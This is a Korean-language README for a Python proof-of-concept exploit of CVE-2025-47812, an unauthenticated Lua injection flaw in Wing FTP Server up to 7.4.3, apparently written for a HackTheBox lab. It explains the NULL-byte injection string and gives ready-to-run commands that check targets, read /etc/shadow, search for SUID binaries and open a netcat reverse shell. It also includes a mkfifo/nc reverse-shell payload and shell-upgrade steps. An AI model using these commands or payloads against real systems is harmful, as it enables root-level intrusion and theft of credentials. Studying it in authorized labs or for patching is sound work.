
CVE-2025-47812 Poc for wingdata HTB
Wing FTP Server ≤ 7.4.3에서 무인증 Lua 인젝션 RCE를 위한 Python 익스플로잇입니다. 쉘 전달을 위해 설계되었습니다 — check 하나의 명령으로 작동하는 netcat 콜백까지.
한동안 HTB의 wingData 랩을 위해 작성되었으며 현재 오픈소스로 공개되었습니다. 소유하고 있거나 테스트할 서면 허가를 받은 시스템에만 사용하세요.
Wing FTP의 c_CheckUser()는 인증 시 첫 번째 NULL 바이트에서 username을 자르지만, 세션 생성 경로는 전체 정제되지 않은 사용자 이름을 Lua 세션 파일에 씁니다. anonymous%00]]<lua>--를 주입하면 서버가 기쁘게 Lua를 세션에 씁니다. 인증된 엔드포인트(dir.html이 작동)를 치면 loadfile() → f()를 통해 해당 세션 파일을 로드하여, 주입된 코드를 root / SYSTEM으로 실행합니다.
영향받는 버전: Wing FTP Server ≤ 7.4.3. 7.4.4에서 수정됨.
pip install requests
이것으로 끝입니다 — 다른 종속성은 없습니다.
# 1. 대상이 취약한지 확인 (id 실행 후 uid= 확인)
python3 exploit.py -u http://target:5466/ check
# 2. 단일 명령 실행 — stdout과 stderr 모두 캡처
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. 리버스 쉘 (쉬운 방법)
# 터미널 1:
nc -lvnp 4444
# 터미널 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. 분리된 임의 페이로드 — 발사 후 망각. bash가 없을 때 유용:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
http://target:5466/login.html을 시도해보세요.shell 모드가 콜백을 받지 못하면, 위의 mkfifo 페이로드와 함께 detached로 대체하세요. 일부 최소 Linux 이미지에는 bash가 포함되어 있지 않습니다.python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
교육 목적 및 승인된 보안 테스트에만 사용하세요. 이 도구를 사용하는 대상에 대한 책임은 사용자에게 있습니다.
MIT — LICENSE 참조.
| 플래그 | 기본값 | 용도 |
|---|
-u, --url | 필수 | 대상 기본 URL — Wing FTP는 일반적으로 :5466 (HTTP) 또는 :5467 (HTTPS)에서 수신합니다. |
-U, --username | anonymous | NULL 바이트 앞의 사용자 이름. 기본 설치에서는 anonymous가 작동합니다. |
-P, --password | 비어 있음 | 인젝션 POST를 위한 비밀번호. anonymous의 경우 비어 있어도 됩니다. |
-v, --verbose | off | Lua 페이로드, 접속한 URL 및 원시 응답 본문을 덤프합니다. |